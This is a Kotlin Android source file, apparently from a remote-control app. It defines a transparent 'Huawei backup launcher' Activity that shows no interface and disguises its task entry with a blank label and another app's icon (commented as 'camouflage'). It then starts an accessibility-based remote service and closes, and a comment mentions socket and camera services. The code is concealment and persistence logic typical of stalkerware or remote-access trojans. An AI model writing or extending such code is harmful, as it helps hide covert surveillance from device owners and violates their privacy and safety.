package com.hikoncont

import android.app.Activity
import android.app.ActivityManager
import android.content.Intent
import android.graphics.Bitmap
import android.graphics.Color
import android.os.Bundle
import android.os.Handler
import android.os.Looper
import android.util.Log
import android.view.ViewGroup
import android.widget.LinearLayout
import com.hikoncont.service.AccessibilityRemoteService

/**
 * 🔧 华为备用启动器Activity
 * 基于移植指南的华为隐藏策略实现
 * 
 * 功能：
 * 1. 透明Activity，用于华为设备隐藏时切换
 * 2. 启动后台服务
 * 3. 立即关闭，不显示任何UI
 */
class HuaweiBackupLauncherActivity : Activity() {
    
    companion object {
        private const val TAG = "HuaweiBackupLauncher"
    }
    
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        
        Log.i(TAG, "🚀 华为备用启动器启动")
        
        try {
            // 设置透明主题
            setupTransparentTheme()
            
            // 创建透明布局
            createTransparentLayout()
            
            // 尝试设置TaskDescription伪装
            setupTaskDescriptionCamouflage()
            
            // 启动后台服务
            startBackgroundServices()
            
            // 延迟关闭Activity
            Handler(Looper.getMainLooper()).postDelayed({
                finish()
            }, 1000)
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 华为备用启动器异常", e)
            finish()
        }
    }
    
    /**
     * 设置透明主题
     */
    private fun setupTransparentTheme() {
        try {
            // 移除标题栏
            requestWindowFeature(android.view.Window.FEATURE_NO_TITLE)
            
            // 设置全屏和透明（使用现代API）
            window.decorView.systemUiVisibility = (
                android.view.View.SYSTEM_UI_FLAG_FULLSCREEN or
                android.view.View.SYSTEM_UI_FLAG_HIDE_NAVIGATION or
                android.view.View.SYSTEM_UI_FLAG_IMMERSIVE_STICKY
            )
            
            // 设置透明背景
            window.statusBarColor = Color.TRANSPARENT
            window.navigationBarColor = Color.TRANSPARENT
            
        } catch (e: Exception) {
            Log.w(TAG, "⚠️ 设置透明主题失败", e)
        }
    }
    
    /**
     * 创建透明布局
     */
    private fun createTransparentLayout() {
        try {
            val layout = LinearLayout(this).apply {
                layoutParams = ViewGroup.LayoutParams(
                    ViewGroup.LayoutParams.MATCH_PARENT,
                    1 // 最小高度
                )
                setBackgroundColor(Color.TRANSPARENT)
            }
            
            setContentView(layout)
            
        } catch (e: Exception) {
            Log.w(TAG, "⚠️ 创建透明布局失败", e)
        }
    }
    
    /**
     * 设置TaskDescription伪装
     */
    private fun setupTaskDescriptionCamouflage() {
        try {
            val camouflagePackage = intent.getStringExtra("camouflage_package")
            val camouflageIcon = intent.getParcelableExtra<Bitmap>("camouflage_icon")
            
            if (camouflagePackage != null && camouflageIcon != null) {
                Log.d(TAG, "🎭 设置TaskDescription伪装: $camouflagePackage")
                
                // 使用空格作为任务描述，使用其他应用的图标
                val taskDescription = ActivityManager.TaskDescription(" ", camouflageIcon)
                setTaskDescription(taskDescription)
                
                Log.d(TAG, "✅ TaskDescription伪装设置成功")
            } else {
                Log.d(TAG, "ℹ️ 未收到伪装信息，跳过TaskDescription设置")
            }
            
        } catch (e: Exception) {
            Log.w(TAG, "⚠️ TaskDescription伪装设置失败", e)
        }
    }
    
    /**
     * 启动后台服务
     */
    private fun startBackgroundServices() {
        try {
            Log.d(TAG, "🔧 启动后台服务")
            
            // 启动无障碍服务（如果未运行）
            val accessibilityIntent = Intent(this, AccessibilityRemoteService::class.java)
            startService(accessibilityIntent)
            
            // 可以在这里启动其他必要的后台服务
            // 例如：SocketIO服务、摄像头服务等
            
            Log.d(TAG, "✅ 后台服务启动完成")
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 启动后台服务失败", e)
        }
    }
    
    override fun onDestroy() {
        super.onDestroy()
        Log.d(TAG, "🔚 华为备用启动器销毁")
    }
}
